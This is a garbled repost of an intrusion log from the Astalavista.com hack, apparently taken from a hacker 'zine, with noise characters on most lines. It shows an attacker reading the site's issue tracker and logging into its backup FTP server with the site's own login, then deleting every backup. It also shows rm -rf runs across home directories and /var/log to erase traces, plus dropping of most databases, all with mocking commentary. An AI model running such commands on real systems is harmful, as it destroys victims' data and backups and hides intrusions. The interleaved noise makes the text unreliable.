- H+ [6 I8 }( U  p9 u% V& D$ K! \0 N/ R, L3 Q& [
|* s1 ^6 p3 X5 M; H4 t
+————————+——————————————————————————————————————————————————————————————————————————————+
% C, [5 }2 \2 D4 _, ^1 row in set (0.00 sec)
5 u# t+ }, h$ l  w8 }' ?4 T* d! A7 ?) w( T6 S
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…9 g/ f2 I1 Z& G8 Q4 }/ o# s
" U( K+ G8 t2 c6 P6 h7 K! V
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;+ z) |2 F) H  R1 Y  j5 q7 r' t
+——————+———————————————————————————————+  d" ]0 b9 E% b! y% S
| iss_summary      | iss_description                                                                             |
+ ^# a, a% D" `4 ?6 r" N+——————+———————————————————————————————+
( c0 O1 h4 ]& a| Website guidance | Virtual Girl which guides you trought the website.4 C* n  Q- O1 m

- ]' M; \  @* |0 gWe need a girl with who you can ( talk )!!!
+ ^2 A& T( Q9 i& a- |; Z, ZAlso for the News!
4 D) ^# O# C! ?, H6 R, wSo my suggestion is a girl who read you the news loud if you like!
7 C, P" e$ t1 K! iyou can choose between read yourselfe or she read it for you or both!
4 e7 J6 a6 M  J$ b; N) T- c. H+ q. p, w
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!' c; Z+ w. g8 K* w5 T  p

5 Q3 f0 |: e# b, u" q9 c% Q8 MHave a look on the example girls!!; F+ v* o% y$ u$ t: n. @- v  F4 [

( |( u& v) \/ I( ?) A链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
" _7 N' \9 d: z) K. O+ `$ Y; e1 i8 h; h! P" ]8 s
or that# U0 c/ I  i1 n1 e) _( _% j4 f

9 P/ t7 d/ d4 v. B% L: F) t链接标记[url]http://www.yellostrom.de/[/url]
* E% k  L2 @0 ^5 o" C- F1 {/ }
* c: j% u  U9 ]' c9 {|4 g+ D  r3 m2 y* Q/ x+ _9 k4 z
+——————+———————————————————————————————+
4 v' V$ M9 n% u3 x1 row in set (0.00 sec)
8 W) X/ H' C2 T! V5 @0 m) V2 d0 q* M7 c6 b" z# X
// ha ha.# j' z6 Y5 }7 B( ^0 g2 U; I. R  z
' n) ]4 ?4 u4 K/ F4 e2 ^7 x
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
6 |& o7 S( S+ f7 b+————————–+———————————————————————————————————–+
, d5 Q  P. Y* Y, E1 v# N2 n| iss_summary              | iss_description                                                                                           |
+ y- x/ q: _. `9 [+————————–+———————————————————————————————————–+
2 E9 J: h3 X  j% i) w| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name.  |
# @7 g( M4 B# @+————————–+———————————————————————————————————–+/ O8 v) i9 u% [5 U1 H& u
1 row in set (0.00 sec)
; x% E- }' ^: q3 W7 J
9 L! y. ]: H3 _' g, h: w" K// LOL.  b7 x" ^) o# y; z; v0 S  {

( l9 P4 x# J2 Nmysql> exit
, B3 l4 K. a& _3 Z! xBye1 {' N" D* ^8 D7 Y

7 R2 Z3 l: n- msh-3.2# ftp 212.254.194.163
3 e, ^1 i! k4 |% w+ X; C! tConnected to 212.254.194.163.: Z" G8 }) E0 ^8 m$ Y8 q
220 BackupCOM_VW FTP server ready.
# h/ X5 X8 k$ A6 g) H; b: ~504 AUTH: security mechanism ‘GSSAPI’ not supported.
! p. M' c4 M9 P" M) p504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
0 x; ~6 d8 w5 \; N; k4 V- ?KERBEROS_V4 rejected as an authentication type
/ X7 z0 }# h5 @Name (212.254.194.163:root): astalavista.com* c8 J/ A9 c- W0 u9 X
331 Password required for astalavista.com.2 J/ C3 B. {  h
Password:4 I9 [; t( F. j
230 User astalavista.com logged in.' j  q$ _5 A  _8 Z; h( s
Remote system type is UNIX." Y; u, u2 m4 E; m, ^& b
Using binary mode to transfer files.8 K0 {$ ?1 K( p1 R0 g  ]7 o
ftp> ls -la
; C0 m4 J# U7 T6 b/ I1 X227 Entering Passive Mode (212,254,194,163,2,188)6 {& }8 Y( S# t
150 Opening BINARY mode data connection for ‘file list’.
0 i$ c, T% |, o- x/ n" jdr-x——   1 root users         4096 Jun  4 06:13 astalavista.com
: I: @: y+ O( ?5 h0 x226 Transfer complete.
" ~- r3 o, i  F4 kftp> cd astalavista.com
$ F' f7 y+ Z2 Y2 N' i+ u250 CWD command successful.9 S) `* z5 y0 B3 s0 J& P; e
ftp> ls -la6 o" f) c0 ?9 _
227 Entering Passive Mode (212,254,194,163,2,189)% s- W. c2 F0 f/ @+ c
150 Opening BINARY mode data connection for ‘file list’.
/ |. J1 Y0 b7 h  s9 G) b$ C8 x" g-rw-rw-rw-   1 astalavista.com users     23410936878 Apr 29 22:10 09-04-28-astacom_full.tar1 S5 J0 Q& X/ X+ c2 V9 }
-rw-rw-rw-   1 astalavista.com users     20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz24 F0 F1 u- T3 m( g1 h% Y
-rw-rw-rw-   1 astalavista.com users        88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
  d& ?: w! }: e& J% g+ V$ O; M-rw-rw-rw-   1 astalavista.com users     26413034040 May  2 00:21 09-05-01-astacom-Public_HTML.tar
+ M0 t  f8 H9 y& T-rw-rw-rw-   1 astalavista.com users       277843549 May  1 17:29 09-05-01-astacom-SQL_Dump.tar
4 |- m7 Y, e: b' u& H[snip]
+ m; {$ b0 ]1 M" v+ E0 }226 Transfer complete.7 g" }% {" D8 S* r6 ?! z; ~
ftp> mdelete *) f6 T0 f1 S3 ]! }0 v
ftp> ls -la
7 X, Y- F. w2 P+ [227 Entering Passive Mode (212,254,194,163,2,193)
; s1 d: H8 _1 i3 d' a% r7 t150 Opening BINARY mode data connection for ‘file list’.
- |  H2 g" s* `3 _9 N226 Transfer complete.. ?% O1 ^; M0 o$ F$ `0 l) n. c- b+ R
ftp>. M5 u' _: u) _, I8 f" m3 n

. A: {. r. J0 c5 m7 Z& tsh-3.2# cd /home" N% M( C7 a  _& v
sh-3.2# ls -la
: G7 e6 M4 }! Ctotal 120/ K) L/ z  m) Y: C1 G4 s3 s
drwxr-xr-x 14 root    root     4096 Mar 11 17:56 .
8 v  s3 \/ W. G; X, l: \4 @4 Mdrwxr-xr-x 25 root    root     4096 Jun  3 02:43 ..* Q) B  f9 h5 ~1 J& }, I
drwx–x–x  9 admin   admin    4096 Nov 28  2007 admin2 q9 U3 \/ f/ F. `9 X
-rw——-  1 root    root     8192 Jun  4 03:03 aquota.group8 r$ Q) Q; G  T3 F
-rw——-  1 root    root     8192 Jun  3 02:45 aquota.user* |" U1 {5 |( h$ b4 X6 }/ m0 p
drwx–x–x  6 astanet astanet  4096 Jun  4 09:51 astanet
  F' M' z( z. I+ g$ V4 @drwxr-xr-x  2 root    root     4096 Jul 29  2008 backup
' Z. q5 r0 e: X9 o% Hdrwxr-xr-x  2 root    root     4096 Sep 17  2008 backup.14161
7 T) J) S, P6 ]6 zdrwx–x–x 10 com     com      4096 Apr 28 12:40 com! ]; X' v7 n3 {; u0 w6 u' E! J6 \
drwxr-xr-x  2 root    root     4096 May 17  2007 ftp
/ N  J* _1 i& i% M& Q, u4 O$ zdrwx——  3 jon     jon      4096 Sep 21  2007 jon
! W3 K" r! B* C+ }" ddrwx——  2 root    root    16384 Sep 11  2007 lost+found
$ J( e( n" [& P% l( ndrwxr-xr-x  2 root    root     4096 Sep 14  2007 my
( G- d2 _3 e& n* T9 s+ ddrwxr-xr-x  5 mysql   mysql    4096 Sep 24  2007 mysqldata; N- V! q! \( r% {5 A! c( q
drwx——  2 jon     jon      4096 Sep 15  2007 test
& e1 T' Q  i, Hdrwxrwxrwt  2 root    root     4096 Jul 29  2008 tmp
. w0 u" }  Q) d2 N+ _" j9 i5 {# W9 {8 C% X  S8 _
sh-3.2# rm -rf backup/
8 f" J6 W1 {& t2 E* B' `: ?  x1 vsh-3.2# rm -rf backup.14161/
- U- M* Y, n5 q% E7 t/ e) Osh-3.2# rm -rf ftp/
: J& k9 l, |2 D  |sh-3.2# rm -rf jon/
' r( r& T/ d& F8 M$ p; W  esh-3.2# rm -rf my/
. y( l& K; t" i; \+ }5 Z2 dsh-3.2# rm -rf mysqldata/6 e6 g  G$ I* d4 g. y2 @. [
sh-3.2# rm -rf test/
8 C* G8 P. K2 w% N7 Tsh-3.2# rm -rf tmp/6 l: G0 r3 r+ }& c' Q4 [
sh-3.2# cd ~- ^" k  W" ^1 x
sh-3.2# rm -rf *
7 r; i. Z' ^# Osh-3.2# rm -rf /var/log/4 N. {1 r4 Q! T9 b; b
rm: cannot remove directory `/var/log//proftpd’: Directory not empty0 [7 X/ y& t5 J$ T; w
sh-3.2# rm -rf /home/*6 l9 ?+ q8 b' \4 ]1 y' [1 O0 a) h
sh-3.2# mysql
0 s$ W% `4 V9 }) a7 X# E1 O7 uWelcome to the MySQL monitor.  Commands end with ; or \g.+ V$ c" Q, J' P6 j  }+ M+ ?7 _
Your MySQL connection id is 407156# G% T$ X& }) b7 ^
Server version: 5.0.45-community-log MySQL Community Edition (GPL)+ ?  R/ j& a) L

* d2 v" z6 p9 lType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.: m' V4 g3 V# w- |+ r5 s: {
" c/ _* y, n8 b$ j2 Z
mysql> show databases;& i1 S: R, r5 B' w! A% z
+———————–+( ]3 R- k1 w" O. a1 k( [
| Database              |
' [, c% [  [4 u2 R4 Z9 a, V+ B+———————–+
1 D0 V- P- ?; n| information_schema    |
/ O* p5 [  g. }. h| astanet_ads           |
7 Q- I% r& w( u| astanet_mailing_lists |" v- P2 G5 w9 H: N' g% X; X+ R
| astanet_mediawiki     |5 b4 n* ?- x2 U( K" _7 b
| astanet_membersystem  |
1 F3 d! v. e4 ?) {4 h* h+ {. A* || com_contrexx          |! }6 N3 {8 r: _0 @
| com_contrexx2         |
* p! s0 m- N5 T| com_contrexx2_live    |
9 V3 V( l) r0 r7 q$ K% [" q| da_roundcube          |
3 Y! Y# L$ g  d3 m; m, L+ ?| dolphin               |) W+ o) Q) [9 v- u
| ideapool              |- p6 s5 b4 ?. B2 X' ~
| mysql                 |* r  o, ]4 V- V9 d% j1 Z
| test                  |' h) K. S6 ?+ J, G; N/ T2 N" |
| yourmaster            |
0 \: @# J3 z: X8 z+———————–+
) V$ [4 z% T6 B. D% d14 rows in set (0.03 sec)
$ C# w  F  W5 g7 W* a3 q2 [) E: p
$ X- [# r# c5 ~& c+ I$ T" dmysql> drop database astanet_membersystem;
2 m2 ]5 N2 U- M) mdroQuery OK, 46 rows affected (0.81 sec)' Z4 r9 ]9 }. e2 X: {, o

4 A$ I# e& m# Smysql> drop database com_contrexx;
, s. g$ b* j2 _6 X! G2 P1 `  n6 gQuery OK, 211 rows affected (2.72 sec)
. w- _8 I; e- o0 q- V& ?0 ~7 Y5 p, N/ _
, p  T3 E, h" ~1 D7 E" m( y' {mysql> drop database com_contrexx2;
- H+ y$ t' e5 {# m$ k" \# aQuery OK, 237 rows affected (2.23 sec)+ B( u$ v! P( P! \# O
7 R. M! z9 c( j& G9 y0 ?, E7 s
mysql> drop database com_contrexx2_live;
; f/ P: U  q5 H9 K# A. zQuery OK, 227 rows affected (7.63 sec)
9 c& O' g+ H! @
: Q4 o/ j* g0 L- |4 wmysql> drop database ideapool;4 a- ?7 M4 B( R3 D* H0 R" J% p
Query OK, 69 rows affected (0.19 sec)
4 K- @- r5 [$ y3 U8 O+ A
5 K' L% f- f( k) g* y; q: V7 ~; Xmysql> drop database yourmaster;. N( ~7 O# Q; t5 k
Query OK, 158 rows affected (0.55 sec)3 G2 _/ E( C9 I- n

3 E- {8 m7 u: U2 Y4 Q2 mmysql> drop database astanet_ads;" D7 ?+ U; P, M4 U- m8 P3 N# M" G
Query OK, 9 rows affected (0.11 sec)
1 t7 F! B  s" ]. P( z- K9 T/ j
" `% F) \6 E$ A& u9 Rmysql> drop database astanet_mailing_lists;
0 u7 ]8 i+ b" A* OQuery OK, 24 rows affected (1.47 sec)
  ^# X8 p) w* N- w4 _$ c7 s% x: }" |( ~) ~) B
mysql> drop database astanet_mediawiki;
0 k2 Y6 `* ^+ zQuery OK, 31 rows affected (0.51 sec)7 L3 D( {& m+ r
9 `3 v$ l! @) |% D3 ~
mysql> show databases;
! G9 j7 Q3 a) }6 C( Y8 a9 W$ k  H+——————–+: a* X9 G9 N. d
| Database           |
6 C  [! _* e8 X2 P% N+——————–+- D8 K7 X& B# r: ?- _" u1 j' E3 l
| information_schema |
1 B8 Z: Y* A) ^5 n' [: O| da_roundcube       |8 l0 x* d9 E, L4 P; L7 G% ^8 g
| dolphin            |" A" {, ]/ }# B, U0 P2 K
| mysql              |
! \1 k3 y% f3 [| test               |
1 b' I# `! o2 h- g4 i+——————–+
0 M* g% x: O/ x3 r8 x6 m* c5 rows in set (0.00 sec)
5 U2 u) p) q) s5 W! }6 ]' A6 s
What a journey! We’re not sure exactly why the “Terminator” had any influence on9 {: {2 K+ ^: C6 y" M- ]; u
their naming (conventions) but we’re sure Arnold himself wouldn’t be in the5 |7 m* p( e$ t% v8 w/ Q) z+ j. R# t
wrong to say this pack of morons *wont be back*.) A0 X8 h; `" L8 U; w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表